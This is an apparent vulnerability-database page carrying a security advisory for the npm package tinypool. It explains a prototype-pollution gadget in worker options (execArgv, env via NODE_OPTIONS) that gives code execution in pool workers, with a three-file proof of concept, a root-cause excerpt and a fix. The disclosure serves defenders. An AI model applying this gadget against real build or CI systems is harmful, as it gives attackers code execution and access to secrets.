GHSA-5GMW-XHRV-C9V3
Vulnerability from github – Published: 2026-10-05 22:50 – Updated: 2026-10-05 22:50tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.
Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
execArgv— pollutingObject.prototype.execArgv = ['--require', '/path/to/attacker.js']causes every pool worker to load the attacker's script.env— pollutingObject.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' }achieves the same via environment injection.
Root cause
dist/index.js lines 508-511:
env: this.options.env,
argv: this.options.argv,
execArgv: this.options.execArgv,
resourceLimits: this.options.resourceLimits,
this.options is built at line 470 via object spread:
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Proof of concept
Minimal reproduction (3 files):
worker.mjs — the application's own legitimate worker:
export default function double(n) { return n * 2 }
payload.js — attacker-controlled code (never referenced by the app):
const fs = require('fs')
fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid)
console.log('*** RCE ***')
app.js — normal tinypool usage:
const path = require('path')
// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)
Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')]
const { Tinypool } = require('tinypool')
const pool = new Tinypool({
filename: path.join(__dirname, 'worker.mjs'),
minThreads: 1, maxThreads: 1
})
pool.run(21).then(r => {
console.log('pool returned:', r) // 42 — app works normally
pool.destroy()
})
Run:
npm i tinypool@2.1.0
node app.js
cat /tmp/RCE_PROOF.txt # attacker's code ran
Both execArgv and env vectors confirmed on Node 20.
Suggested fix
Resolve worker options with own-property semantics:
this.options = Object.assign(Object.create(null),
kDefaultOptions, options, { filename, maxQueue: 0 });
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 2.1.0"
},
"package": {
"ecosystem": "npm",
"name": "tinypool"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.1.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-104848"
],
"database_specific": {
"cwe_ids": [
"CWE-1321"
],
"github_reviewed": true,
"github_reviewed_at": "2026-10-05T22:50:01Z",
"nvd_published_at": "2026-10-02T17:17:03Z",
"severity": "CRITICAL"
},
"details": "`tinypool` passes worker options to `new Worker()` by reading them off a plain object whose prototype is `Object.prototype`. Options the application did not set are resolved through the prototype chain and then passed explicitly to `worker_threads.Worker`.\n\nNode core ignores `Worker` options inherited from `Object.prototype`. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.\n\n\nTwo keys reach code execution:\n\n1. **`execArgv`** \u2014 polluting `Object.prototype.execArgv = [\u0027--require\u0027, \u0027/path/to/attacker.js\u0027]` causes every pool worker to load the attacker\u0027s script.\n2. **`env`** \u2014 polluting `Object.prototype.env = { NODE_OPTIONS: \u0027--require /path/to/attacker.js\u0027 }` achieves the same via environment injection.\n\n## Root cause\n\n`dist/index.js` lines 508-511:\n\n```js\nenv: this.options.env,\nargv: this.options.argv,\nexecArgv: this.options.execArgv,\nresourceLimits: this.options.resourceLimits,\n```\n\n`this.options` is built at line 470 via object spread:\n\n```js\nthis.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };\n```\n\n## Impact\n\nArbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners \u2014 an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).\n\n\n## Proof of concept\n\nMinimal reproduction (3 files):\n\n**worker.mjs** \u2014 the application\u0027s own legitimate worker:\n```js\nexport default function double(n) { return n * 2 }\n```\n\n**payload.js** \u2014 attacker-controlled code (never referenced by the app):\n```js\nconst fs = require(\u0027fs\u0027)\nfs.writeFileSync(\u0027/tmp/RCE_PROOF.txt\u0027, \u0027code execution achieved, pid=\u0027 + process.pid)\nconsole.log(\u0027*** RCE ***\u0027)\n```\n\n**app.js** \u2014 normal tinypool usage:\n```js\nconst path = require(\u0027path\u0027)\n\n// Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge)\nObject.prototype.execArgv = [\u0027--require\u0027, path.join(__dirname, \u0027payload.js\u0027)]\n\nconst { Tinypool } = require(\u0027tinypool\u0027)\nconst pool = new Tinypool({\n filename: path.join(__dirname, \u0027worker.mjs\u0027),\n minThreads: 1, maxThreads: 1\n})\npool.run(21).then(r =\u003e {\n console.log(\u0027pool returned:\u0027, r) // 42 \u2014 app works normally\n pool.destroy()\n})\n```\n\nRun:\n```\nnpm i tinypool@2.1.0\nnode app.js\ncat /tmp/RCE_PROOF.txt # attacker\u0027s code ran\n```\n\nBoth `execArgv` and `env` vectors confirmed on Node 20.\n\n\n## Suggested fix\n\nResolve worker options with own-property semantics:\n\n```js\nthis.options = Object.assign(Object.create(null),\n kDefaultOptions, options, { filename, maxQueue: 0 });\n```",
"id": "GHSA-5gmw-xhrv-c9v3",
"modified": "2026-10-05T22:50:01Z",
"published": "2026-10-05T22:50:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/tinylibs/tinypool/security/advisories/GHSA-5gmw-xhrv-c9v3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-104848"
},
{
"type": "WEB",
"url": "https://github.com/tinylibs/tinypool/pull/134"
},
{
"type": "WEB",
"url": "https://github.com/tinylibs/tinypool/commit/24df4e730e7d0857a6d226c9b58f8924227404fd"
},
{
"type": "PACKAGE",
"url": "https://github.com/tinylibs/tinypool"
},
{
"type": "WEB",
"url": "https://github.com/tinylibs/tinypool/releases/tag/v2.1.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H",
"type": "CVSS_V4"
}
],
"summary": "Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.